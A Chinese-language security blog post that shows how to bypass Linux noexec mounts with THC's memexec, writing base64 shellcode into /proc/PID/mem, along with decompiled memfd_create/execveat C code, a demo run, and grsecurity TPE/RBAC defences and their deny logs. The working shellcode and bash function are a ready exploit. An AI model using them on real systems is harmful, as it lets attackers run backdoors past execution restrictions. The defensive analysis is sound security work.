用户空间执行而不接触磁盘在黑客社区中已经存在了相当长的时间。关于用户空间执行的第一篇论文是由grugq于2004年撰写的。从那时起,这种技术在黑客社区中以各种形式不断演变。最近,THC(黑客选择,一个老派黑客社区)发布了一篇题为“绕过noexec并执行任意二进制文件”的文章,将这一概念提升到了一个新水平,通过简化编写绕过带有noexec标志的分区的PoC/漏洞利用的过程。这种漏洞利用向量的根本原因在于2012年对Linux内核所做的更改,该更改取消了对写入/proc/PID/mem的限制以及特定系统调用实现所使用的内核API和共享内存是一致的。THC的文章详细解释了PoC的工作原理。配合FFI简化了攻击链条的路径和成本,这对于嵌入式系统的整体防护设计是极大的挑战。
设置一个带有 noexec 标志的 RW 分区
dd if=/dev/zero of=ro-partition.img bs=1M count=100
mkfs.ext4 ro-partition.img
mkdir /mnt/ro-part
mount -o loop,noexec ro-partition.img /mnt/ro-part/
cd /mnt/ro-part/
git clone https://github.com/hackerschoice/memexec.git
编译
nasm -f elf64 -o memexec-bash-arg-env.o memexec-bash-arg-env.nasm && ld memexec-bash-arg-env.o
生成shellcode并用base64编码
ved@debian-vtest:/mnt/ro-part/memexec$ objdump -d a.out |grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' '|tr 't' ' ' | sed 's/ //g' | xxd -r -p | base64 -w 0
SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrBkiDwAjr5EyJ0E0x200x5EiDOAB1EEmJw0mD6whIg8AISYnE6wZIg+gI6+RMidhNMe1IMf9IixhIOft0JUiLC0iB4f///wBIgfktLQAAdQlJicZIiXj46wlIg+gISP/H69NIieVIgewSBAAASLhrZXJuZWwAAGoAULg/AQAASInnSDH2DwVJicC4AAAAAL8AAAAASInmugAEAAAPBUiJwkiD+gB+D7gBAAAATInHSInmDwXr1LhCAQAATInHagBIieZMifJIMclNMclNieJBuAAQAAAPBbg8AAAAv2MAAAAPBQ==
bash函数
ved@debian-vtest:/mnt/ro-part/memexec$ memexec() { bash -c 'cd /proc/$$;exec 4>mem;base64 -d<<<SIngTTHSSIM4AHUQSIN4CCF1CUiD6AhJicLrBkiDwAjr5EyJ0E0x200x5EiDOAB1EEmJw0mD6whIg8AISYnE6wZIg+gI6+RMidhNMe1IMf9IixhIOft0JUiLC0iB4f///wBIgfktLQAAdQlJicZIiXj46wlIg+gISP/H69NIieVIgewSBAAASLhrZXJuZWwAAGoAULg/AQAASInnSDH2DwVJicC4AAAAAL8AAAAASInmugAEAAAPBUiJwkiD+gB+D7gBAAAATInHSInmDwXr1LhCAQAATInHagBIieZMifJIMclNMclNieJBuAAQAAAPBbg8AAAAv2MAAAAPBQ==|dd bs=1 seek=$[$(cat syscall|cut -f9 -d" ")]>&4' "$@"; }
Show time
ved@debian-vtest:/mnt/ro-part/memexec$ cp /bin/id .
ved@debian-vtest:/mnt/ro-part/memexec$ ./id
-bash: ./id: Permission denied
ved@debian-vtest:/mnt/ro-part/memexec$ cat id | memexec --
253+0 records in
253+0 records out
253 bytes copied, 0.000326824 s, 774 kB/s
uid=1000(ved) gid=1000(ved) groups=1000(ved),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
根据decompilers还原C语言逻辑
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <fcntl.h>
#define BUFFER_SIZE 1024
char buffer2[BUFFER_SIZE] = {0};
int main(int argc, char *argv[], char *envp[]) {
// Find the start of the stack
char **env = envp;
char **arg = argv;
char *last_arg = NULL;
char *first_env = NULL;
// Find the last argument and the first environment variable
while (*arg) {
last_arg = *arg;
arg++;
}
first_env = env[0];
// Create a memory file descriptor
int memfd = memfd_create("kernel", 0);
if (memfd < 0) {
syscall(SYS_exit, EXIT_FAILURE);
}
// Create a buffer for reading input
char *buffer = buffer2;
if (!buffer) {
syscall(SYS_exit, EXIT_FAILURE);
}
ssize_t bytes_read;
while ((bytes_read = syscall (SYS_read, STDIN_FILENO, buffer, BUFFER_SIZE)) > 0) {
// Write data to the memory file descriptor
if ( syscall(SYS_write, memfd, buffer, bytes_read) != bytes_read) {
syscall(SYS_exit, EXIT_FAILURE);
}
}
if (bytes_read < 0) {
syscall(SYS_exit, EXIT_FAILURE);
}
// Prepare to execveat the program in memfd
char *empty_path = ""; // AT_EMPTY_PATH
char **new_argv = argv; // Use the original argv
char **new_envp = envp; // Use the original envp
// Execute the program in the memory file descriptor
syscall (SYS_execveat, memfd, empty_path, new_argv, new_envp, 0);
// If execveat fails
syscall(SYS_exit, EXIT_FAILURE);
}
防御机制
PaX/GRsecurity 是对抗这种绕过技术的唯一解决方案。原生 Linux 内核未来可能会有解决方案。
漏洞利用方法 | 防御机制 |
Overwrite /proc/*/mem | PaX/GRsecurity默认开启/proc//mem 限制 |
memfd_* execution执行 | 1) PaX/GRsecurity RBAC(不需要任何策略)将其视为 SHM_EXEC 2) PaX/GRsecurity TPE |
在没有 RBAC 的情况下启用 TPE(受信路径执行):
ved@debian-vtest:/mnt/ro-part/memexec$ groupadd -g 1005 grsec_tpe
ved@debian-vtest:/mnt/ro-part/memexec$ usermod -aG 1005 ved
Have fun!
ved@debian-vtest:/mnt/ro-part/memexec$ source memexec-perl.sh
ved@debian-vtest:/mnt/ro-part/memexec$ cat /bin/ls | TIME_STYLE=+%s memexec -lah
==> RESULTs
[ 59.871267] grsec: denied untrusted exec (due to being in untrusted group and file in non-root-owned directory) of / by /[perl:1426] uid/euid:1000/1000 gid/egid:1000/1000, parent /usr/bin/bash[bash:1425] uid/euid:1000/1000 gid/egid:1000/1000
ved@debian-vtest:/mnt/ro-part/memexec$ deluser ved grsec_tpe
在没有 TPE 的情况下启用 RBAC:
ved@debian-vtest:/mnt/ro-part/memexec$ gradm -E
ved@debian-vtest:/mnt/ro-part/memexec$ source memexec-perl.sh
ved@debian-vtest:/mnt/ro-part/memexec$ cat /bin/ls | TIME_STYLE=+%s memexec -lah
==> RESULTs
[ 400.930022] grsec: (default:D:/) denied execution of / by /usr/bin/perl[perl:2168] uid/euid:1000/1000 gid/egid:1000/1000, parent /usr/bin/bash[bash:2167] uid/euid:1000/1000 gid/egid:1000/1000
来自老派黑客遗产之额外奖励
假设 THC 的方法适用于二进制/后门执行。还有另一种有趣的方法可以绕过 noexec 限制,这主要惠及利用编写者(抱歉,渗透测试者!这不适合你们)。GRHack 引入了一种通过利用 Python 中称为外部函数接口(FFI)的特性来规避 noexec 的技术。这个特性使得 Python 开发者可以直接从共享对象调用任何 C 函数。通过将利用程序移植到 Python,可以绕过 noexec 限制。需要注意的是,这种方法特别影响 GNU/Linux 系统,因为 OpenBSD 不允许在 noexec 分区中加载共享对象。
Reference
-
Bypassing noexec and executing arbitrary binaries https://iq.thc.org/bypassing-noexec-and-executing-arbitrary-binaries
-
A /proc/PID/mem vulnerability https://lwn.net/Articles/476947/
-
Execute ELF files without dropping them on disk https://github.com/nnsee/fileless-elf-exec
-
userland exec for Linux x86_64 https://github.com/bediger4000/userlandexec
-
The Design and Implementation of Userland Exec https://grugq.github.io/docs/ul_exec.txt
-
Python in noexec-land https://web.archive.org/web/20100720104659/http://dp.grhack.net/2009/09/17/python-in-noexec-land/
-
https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options#Trusted_Path_Execution_(
-
https://grsecurity.net/featureset/rbac
-
PoC run-ls.py https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/threat_model/userland_exec_noexec_bypass.md
原文始发于微信公众号(赛博堡垒):绕过noexec(不可执行)分区
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论